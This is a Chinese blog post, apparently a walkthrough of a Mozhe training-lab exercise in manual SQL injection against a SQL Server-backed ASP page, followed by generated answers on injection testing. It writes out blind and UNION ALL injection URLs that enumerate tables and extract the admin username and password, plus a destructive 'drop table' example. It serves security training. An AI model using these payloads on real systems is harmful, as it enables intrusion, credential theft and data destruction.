SQL手工注入漏洞测试(Sql Server数据库)

 

 

 

还是先找到注入点,然后order by找出字段数:4

通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

一、盲注

盲猜爆出表名

 

通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。同理找出password字段

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

 

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

 

 利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583

通过MD5解密网站得知明文password值为97285101

 二、union all

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,null,null,null

用union all select null,null,null,null四个null分别尝试回显位置,得到回显语句:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,null,null

//逐一测试,显示位3为字符型,导致的一些bug

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,'3',null

 

数据库

//这里也可以使用db_name(1)、db_name(2)查询其他数据库

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,db_name(),null,null

 

结果为:mozhe_db_v2

 

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

//xtype='u' :查看用户表

结果:manage

查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

结果:announcement

继续查看表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

结果空,说明没有别的了。

 

列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

得出:id

id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

得出:username

id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

得出:password

id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,username, password ,null from manage

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 为防止SQL手工输入漏洞,可以采用以下措施进行漏洞测试: 1. 输入特殊字符进行测试,如单引号、注释符号等。 2. 输入超长字符进行测试,如超过字段长度的字符、超过表字段数量的字符等。 3. 输入SQL关键字进行测试,如SELECT、UPDATE、DELETE等。 4. 输入恶意代码进行测试,如SQL注入攻击、XSS攻击等。 5. 对输入参数进行参数化处理,避免字符串拼接。 6. 对用户输入进行格式化处理,允许输入合法的字符和长度。 7. 检查SQL Server的配置选项,确保其安全设置已开启。 ### 回答2: SQL手工注入漏洞测试是一种测试技术,用于测试Web应用程序中是否存在SQL注入漏洞,这种漏洞可以让攻击者轻易地绕过应用程序的身份验证和授权机制,并获得对数据库的完全控制。本文将以SQL Server数据库为例,介绍如何进行SQL手工注入漏洞测试。 首先,我们需要了解SQL注入漏洞的原理。当Web应用程序接收到从用户提交的表单等输入后,如果没有进行严格的数据验证和过滤,那么攻击者可以通过构造特定的注入字符串来控制SQL查询语句的执行,从而实现对数据库的非法访问和篡改。 接下来,我们可以通过以下步骤进行测试: 1. 找到Web应用程序中的参数输入点,如表单、URL参数等; 2. 通过构造特定的注入字符串来检测是否存在SQL注入漏洞,如在用户名输入框中输入 'or '1'='1,如果程序出现异常或显示了所有用户信息,则表示存在注入漏洞; 3. 探测数据库表结构和数据,可以使用如 union select、information_schema等命令来获取敏感信息; 4. 利用漏洞进行数据库攻击,如修改数据、删除数据等操作,可以通过如'or 1=1; drop table users或其他恶意代码来实现。 针对SQL注入漏洞,我们应该采取一些有效的防御措施,如使用参数化查询、过滤输入数据、限制数据库用户权限等。在实际测试中,我们应该尽可能地模拟攻击者进行测试,以提高漏洞发现的准确性和有效性。 总之,SQL手工注入漏洞测试是非常重要的安全测试技术之一,它可以帮助我们发现和修复潜在的漏洞,提高Web应用程序的安全性和可靠性。 ### 回答3: SQL手工注入漏洞测试是一种重要的安全测试方法,它是指通过手动输入特殊的SQL命令来测试系统是否存在SQL注入漏洞,以及挖掘出系统的弱点,提高系统的安全性和稳定性。下面我们从SQL Server数据库的角度来探讨SQL手工注入漏洞测试的过程和方法。 1. 收集信息 在测试之前,我们需要了解目标系统的基本架构和相关信息,包括系统的IP地址、操作系统类型、数据库类型和版本等。这些信息对之后的测试很有帮助。同时,我们需要对目标网站进行收集数据,主要是了解系统中存在的可注入点,如输入框、URL参数等。 2. 确认目标点 在了解了系统的结构和目标点后,我们需要验证这些点是否存在注入漏洞。此时,我们可以通过手工注入的方式来验证这些点是否存在漏洞。我们可以通过在可搜索的输入框中输入一些关键词,如单引号、双引号、分号等来判断该输入框是否存在注入漏洞。 3. SQL命令编写 在验证了目标点是否存在注入漏洞后,需要编写SQL命令来实现对目标系统的攻击。SQL命令通常以结构化查询语言中的SELECT、UPDATE、INSERT等开头,后面跟着一些语句来完成对数据库的读取、修改、插入等操作。需要注意的是,编写的SQL命令应该是专攻该漏洞的,能够最大程度地利用漏洞,获取相应的敏感信息。 4. 利用漏洞获取敏感信息 通过运用编写好的SQL命令,我们可以获取系统中的敏感信息,如用户信息、密码等。在获取到这些信息后,我们可以使用这些账户来登录系统,从而获取更多的信息。 总之,SQL手工注入漏洞测试是一种有效的安全测试方法。在完成测试后,我们应该及时汇总和总结测试结果,做好安全和防护措施,确保系统的安全和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值